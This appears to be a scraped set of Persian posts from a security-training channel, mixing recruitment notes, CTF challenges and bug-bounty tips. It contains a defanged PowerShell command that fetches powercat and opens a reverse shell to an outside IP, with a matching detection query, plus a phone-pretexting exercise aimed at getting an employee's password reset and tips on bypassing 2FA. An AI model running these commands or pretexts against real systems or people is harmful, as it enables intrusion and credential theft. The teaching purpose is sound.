- Front-end Development

- Back-end Development
- Database
- DevOps و Cloud

✅ تجربه عملی کار روی یک پروژه واقعی، از ایده تا انتشار

✅ همکاری با یک تیم هدفمند در حوزه امنیت سایبری و توسعه نرم‌افزار

✅ ثبت نقش شما در صفحه تیم پروژه (Contributor/Team Member)

✅ گواهی همکاری پس از مشارکت مؤثر

✅ امکان استفاده از پروژه در رزومه، LinkedIn و GitHub

✅ اولویت برای همکاری‌ های بلندمدت در صورت رشد پروژه

powershell.exe -c IEX (New-Object System.Net.WebClient).DownloadString (‘hxxps://raw[.]githubusercontent[.]com/besimorhino/powercat/master/powercat.ps1’); powercat -c 154.17.26[.]41 -p 8080 -e cmd

event_type: "processcreatewin"

AND

cmdline: "powercat"

شما درحال مهندسی اجتماعی هستید و هدفتون دسترسی به اطلاعات داخلی یک شرکت فرضی به نام "Datanova" هست. شما به عنوان یک "کارمند پشتیبانی IT" با خانم/آقای میترا شاهینی، منشی بخش مالی، تماس می‌گیرید.

📌 هدف: گرفتن یوزرنیم و ریست پسورد ایمیلش (بدون اینکه شک کنه).

📓 اطلاعات از پیش:

◾ شما اسم مدیرش (سهراب فریدونی) رو از لینکدین پیدا کردید.

◾ می‌دونید شرکت هفته پیش یک آپدیت سیستمی داشته.

◾میترا معمولاً ساعت ۹ صبح سرکاره.

> شما چه دیالوگ و استراتژی‌ ای برای این تماس استفاده می‌ کنید تا میترا بهتون اعتماد کنه؟ (متن دقیق مکالمه یا حداقل ۳-۴ تاکتیکی که به کار می‌برید رو تو کامنت بنویسید).

/ TryHackBox CTF 1.Zip
|
| __ tryhackbox_challenge.png
|_ _ challenge.zip

۱. فایل challenge.zip رمزدار هست.
۲. رمز داخل فایل tryhackbox_challenge.png هست دقت کنید که همه‌ چیز تو یه عکس همیشه فقط ظاهرش نیست .
۳. وقتی زیپ رو باز کردید، داخلش یه متن هست که هنوز فلگ نهایی نیست یه مرحله دیکد دیگه لازمه.

TryHackBox{...}

یک شرکت فرضی یک پورتال مدیریت داخلی ساخته و مدعیه که ورودی‌ های کاربر رو فیلتر کرده و امن هست. وظیفه شما به‌ عنوان پنتستر: نشون بدید این ادعا درست نیست.

هدف نهایی: پیدا کردن فلگ مخفی‌ شده در سیستم.

docker build -t tryhackbox-c1 .
docker run -p 5000:5000 tryhackbox-c1

اگر این نوع محتوا برای شما مفید است، با دنبال کردن صفحه LinkedIn TryHackBox و حمایت از طریق لایک و اشتراک‌گذاری، به رشد این مسیر کمک کنید.

1. دسترسی مستقیم به بخش مدیریت
   تلاش کنید تا به آدرس‌ های  /admin
،  /dashboard،  /panel،  /cp بدون ورود به سیستم دسترسی پیدا کنید.

   اغلب، هیچ تغییر مسیری (redirect) یا بررسی احراز هویت مناسبی وجود ندارد.

2. بایپس احراز هویت دو مرحله‌ای (2FA)

   - با تغییر درخواست، مرحله‌ی 2FA را دور بزنید (پارامتر 2fa را حذف کنید یا آن را روی true تنظیم کنید).

   - پس از اولین مرحله‌ی موفق، درخواست ورود به سیستم را دوباره ارسال کنید.

   - سعی کنید از پارامترهایی مانند ?bypass=1 یا پارامترهای پنهان مشابه استفاده کنید.

3. افشای توکن بازنشانی رمز عبور

   بررسی کنید که آیا توکن بازنشانی رمز عبور در پاسخ JSON، کد منبع صفحه یا ایمیل تأییدیه قبل از کلیک کاربر بر روی لینک، نمایش داده می‌شود یا خیر.

نکته‌ی مهم: این باگ‌ های "ساده" بسیار رایج‌ تر از اکسپلویت‌ های پیچیده هستند و اغلب منجر به آسیب‌پذیری‌ های حیاتی و بانتی های خوبی می‌ شوند.

هدف فقط افزایش آگاهی امنیتی است

اگر این نوع محتوا برای شما مفید است، با دنبال کردن صفحه LinkedIn TryHackBox و حمایت از طریق لایک و اشتراک‌گذاری، به رشد این مسیر کمک کنید.

کدوم دستور Nuclei AI رو تست کردین که staging لینک یا ایمیل حساس رو شکار کرد؟ تجربتون رو کامنت کنین

📌 اگر این نوع محتوا برای شما مفید است، با دنبال کردن صفحه LinkedIn TryHackBox و حمایت از طریق لایک و اشتراک‌گذاری، به رشد این مسیر کمک کنید.

یک ردتیمر فقط ابزار یاد نمیگیرد.
مهم‌ترین مهارت، نوع تفکر است.

🔹 همیشه مثل مهاجم فکر کن.
ا🔹 TTPهای گروه‌های مهاجم را مطالعه کن.
🔹 همیشه در حال یادگیری باش.
🔹 فقط به آسیب‌ پذیری نگاه نکن؛ به کل مسیر حمله فکر کن.
🔹 امنیت فقط تکنولوژی نیست؛ انسان و فرآیند هم مهم هستند.

یه Google Dork ساده، ولی با چندین Extension که هرکدوم میتونن داستان متفاوتی داشته باشن.

اگر قرار باشه فقط یک مورد رو برای بررسی در یک Authorized Security Assessment انتخاب کنی، کدوم رو انتخاب میکنی؟

منتظریم ببینیم انتخابت چیه.

📘 CompTIA Network+ Study Guide
🎯 N10-009

🔹 نحوه تدریس و توضیح مطالب چطوره؟
🔹 سرعت صحبت و بیان مدرس مناسبه؟
🔹 کیفیت صدا و تصویر قابل قبوله؟
🔹 این سبک تدریس رو برای ادامه دوره می‌پسندید؟

اگر آره، چه چیزی رو بهتر کنیم؟ 👇
منتظر فیدبک ‌تون هستیم.